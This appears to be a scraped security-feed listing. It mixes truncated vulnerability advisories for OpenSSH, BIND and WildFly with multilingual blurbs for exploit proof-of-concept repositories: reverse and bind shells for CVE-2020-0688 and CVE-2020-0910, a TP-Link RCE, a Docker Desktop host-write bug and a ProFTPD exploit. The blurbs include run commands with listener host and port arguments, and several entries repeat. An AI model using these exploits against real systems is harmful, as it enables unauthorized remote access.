openssh: OpenSSH: ssh-agent allows remote execution of local operations

A flaw was found in OpenSSH's ssh-agent component. A misinteraction between agent locking and the [email protected] extension allows operations intended for local execution to be performed remotely. This could enable a remote attacker to add PKCS11 tokens or utilize keys with destination...

K000163379: BIND vulnerability CVE-2026-3591

Security Advisory Description A use-after-return vulnerability exists in the named server when handling DNS queries signed with SIG0. Using a specially-crafted DNS request, an attacker may be able to cause an ACL to improperly mismatch an IP address. In a default-allow ACL denying only specific I...

openclaw-hardening-check

このスクリプトは読み取りのみを行います。何も修正せず、安全であることを保証するものではありません。緑色の出力は、以下にリストされたチェックが合格したことのみを意味します。それ以上の意味はありません。 OpenClaw ハードニングチェック openclaw-hardening-check.mjs は、依存関係のない小さなオフラインスクリプトで、OpenClaw インストールのレビューを行います。ローカル設定、パッケージメタデータ、プラグインとスキルのマニフェスト、ファイルモード、そしてLinuxでは実行中のGatewayの /proc...

SUSE SLED15 / SLES15 Security Update : bind (SUSE-SU-2026:4285-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:4285-1 advisory. - CVE-2026-19033: Unauthenticated IXFR deltas are applied to the live zone before TSIG verification bsc1280430...

Security update for bind

This update for bind fixes the following issues: CVE-2026-19033: Unauthenticated IXFR deltas are applied to the live zone before TSIG verification bsc1280430. CVE-2026-19662: qpcache NOQNAME proof use-after-free crashes recursive resolver bsc1280432. CVE-2026-19666: Use-after-free in...

SUSE-SU-2026:4285-1 Security update for bind

This update for bind fixes the following issues: - CVE-2026-19033: Unauthenticated IXFR deltas are applied to the live zone before TSIG verification bsc1280430. - CVE-2026-19662: qpcache NOQNAME proof use-after-free crashes recursive resolver bsc1280432. - CVE-2026-19666: Use-after-free in...

CVE-2020-0688

CVE-2020-0688 動作するエクスプロイト PoC CVE-2020-0688 - リバースバインドシェル Python2.7 でテスト済み インストール: pip install -r requirements.txt 実行: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

wildfly-iiop-openjdk: Missing authentication on EAP's IIOP NameService leads to MITM or DoS

A flaw was found in EAP's IIOP. The listener's NameService would accept bind operations without authentication, allowing an attacker to hijack JNDI lookups and binding them to a malicious ORB, achieving MITM or DoS on further invocations...

wildfly-iiop-openjdk: Missing authentication on EAP's IIOP NameService leads to MITM or DoS

A flaw was found in EAP's IIOP. The listener's NameService would accept bind operations without authentication, allowing an attacker to hijack JNDI lookups and binding them to a malicious ORB, achieving MITM or DoS on further invocations...

wildfly-iiop-openjdk: Missing authentication on EAP's IIOP NameService leads to MITM or DoS

A flaw was found in EAP's IIOP. The listener's NameService would accept bind operations without authentication, allowing an attacker to hijack JNDI lookups and binding them to a malicious ORB, achieving MITM or DoS on further invocations...

metasploitable-pentest-report

Metasploitable 2 — ペネトレーションテストレポート 免責事項: このペネトレーションテストは、教育目的のみで、プライベートで隔離されたVMwareラボ環境において実施されました。実際のシステムには一切アクセスしていません。すべてのIPアドレスは匿名化されています。 概要 フィールド| 詳細 ---|--- テスター| Prafullya Shandilya 標的| Metasploitable 2（意図的に脆弱なVM） 攻撃者| Kali Linux ネットワーク| 隔離されたVMwareホストオンリーラボ 日付| 2026年5月9日 ツール| Nmap...

CVE-2020-0910

CVE-2020-0910 動作するエクスプロイトPoC CVE-2020-0910 - Reverse Bind Shell Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2024-54887-PoC

CVE-2024-54887 TypeScript 概念验证 此仓库包含对公开的 CVE-2024-54887 （TP-Link TL-WR940N v3/v4 认证远程代码执行）Python 概念验证的 TypeScript ts-node 重写版本。 前提条件 Node.js 20 或更高版本 安装 root@kitploit: npm install 使用方法 root@kitploit: npx ts-node .\cve-2024-54887.ts --ip 可选凭据： root@kitploit: npx ts-node .\cve-2024-54887.ts --ip...

CVE-2022-41114

CVE-2022-41114 Windows バインドフィルタードライバーの特権昇格の脆弱性。 authentication| complexity| vector ---|---|--- 利用不可| 利用不可| 利用不可 confidentiality| integrity| availability ---|---|--- 利用不可| 利用不可| 利用不可 CVSS スコア: 利用不可 References https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-41114 Brut Fi...

Unity Linux 20.1070-8ae Security Update: bind (UTSA-2022-002009)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2022-002009 advisory. BIND 9.16.11 - 9.16.26, 9.17.0 - 9.18.0 and versions 9.16.11-S1 - 9.16.26-S1 of the BIND Supported Preview Edition. Specifically crafted TCP streams can cause...

CVE-2025-9074

CVE-2025-9074 – Docker Desktop Windows コンテナ→ホスト書き込み 露出したEngine API経由 作成者: w01f ステータス: 概念実証 教育目的 / 許可されたテストのみ 概要 このプロジェクトは、CVE-2025-9074 のPoCを示します。これは、特定バージョンの Docker Desktop for Windows における設定ミス/露出であり、http://192.168.65.7:2375 の Docker Engine HTTP API がコンテナから そして時にはSSRF経由で 到達可能となり、攻撃者が Windows...

nhi-zero-trust-bypass

프로젝트: 프로토콜 취약점을 악용하여 NHI 비밀 조작 및 제로 트러스트 정책 우회 스크린샷 아래는 데모의 실제 스크린샷입니다. 더 많은 내용은 screenshots/README.md를 참조하세요. 1. DNS 익스플로잇 BIND 충돌 A. 익스플로잇 패킷 전송 Scapy가 변조된 TSIG DNS 패킷을 BIND로 전송합니다 dnsexploit.py 참조. B. 컨테이너 충돌 확인 docker ps -a는 익스플로잇 후 BIND 컨테이너가 종료되었음을 보여줍니다. C. 충돌 로그 증거...

openssh: OpenSSH: ssh-agent allows remote execution of local operations

A flaw was found in OpenSSH's ssh-agent component. A misinteraction between agent locking and the [email protected] extension allows operations intended for local execution to be performed remotely. This could enable a remote attacker to add PKCS11 tokens or utilize keys with destination...

cve-2010-4221

cve-2010-4221 このエクスプロイトはいくつかの概念を勉強するために書かれました。お楽しみください！ 使用方法 root@kitploit: Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format...

openssh: OpenSSH: ssh-agent allows remote execution of local operations

A flaw was found in OpenSSH's ssh-agent component. A misinteraction between agent locking and the [email protected] extension allows operations intended for local execution to be performed remotely. This could enable a remote attacker to add PKCS11 tokens or utilize keys with destination...